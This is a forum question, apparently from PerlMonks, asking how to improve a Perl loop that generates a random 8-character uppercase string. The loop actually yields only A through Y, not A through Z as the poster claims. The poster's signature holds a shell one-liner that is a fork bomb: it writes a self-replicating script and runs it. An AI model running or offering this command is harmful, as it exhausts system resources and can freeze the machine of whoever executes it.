perlquestion
ibanix
Hi monks,<BR><BR>
I've got the need to generate a psuedo-random 8-character string. This is what I coded up:<BR>
<code>
my $string;
for (0..7) { $string .= chr( int(rand(25) + 65) ); }
print "$string\n";
</code>
This works, but I suspect it isn't the best way to do it. As you can tell, it only returns uppercase letters ("A" .. "Z"). Is there a better way to go about this?<BR><BR>
Many thanks,<BR>
ibanix<BR><BR>
<code>$ echo '$0 & $0 &' > foo; chmod a+x foo; foo;</code>